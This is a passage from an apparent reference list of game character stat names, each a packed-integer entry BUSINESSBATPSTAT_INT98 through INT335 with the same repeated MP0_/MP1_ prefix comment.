MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT204 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT205 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT206 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT207 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT208 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT209 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT210 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT211 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT212 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT213 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT214 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT215 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT216 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT217 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT218 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT219 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT220 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT221 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT222 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT223 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT224 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT225 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT226 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT227 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT228 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT229 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT230 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT231 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT232 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT233 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT234 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT235 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT236 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT237 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT238 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT239 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT240 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT241 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT242 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT243 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT244 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT245 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT246 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT247 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT248 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT249 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT250 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT251 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT252 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT253 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT254 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT255 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT256 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT257 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT258 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT259 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT260 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT261 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT262 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT263 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT264 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT265 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT266 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT267 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT268 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT269 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT270 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT271 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT272 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT273 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT274 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT275 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT276 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT277 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT278 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT279 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT280 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT281 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT282 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT283 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT284 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT285 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT286 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT287 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT288 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT289 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT290 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT291 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT292 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT293 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT294 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT295 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT296 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT297 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT298 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT299 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT300 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT301 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT302 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT303 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT304 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT305 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT306 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT307 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT308 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT309 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT310 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT311 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT312 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT313 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT314 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT315 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT316 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT317 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT318 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT319 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT320 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT321 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT322 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT323 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT324 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT325 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT326 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT327 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT328 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT329 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT330 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT331 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT332 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT333 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT334 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT335 // Add MP0_ or MP1_ 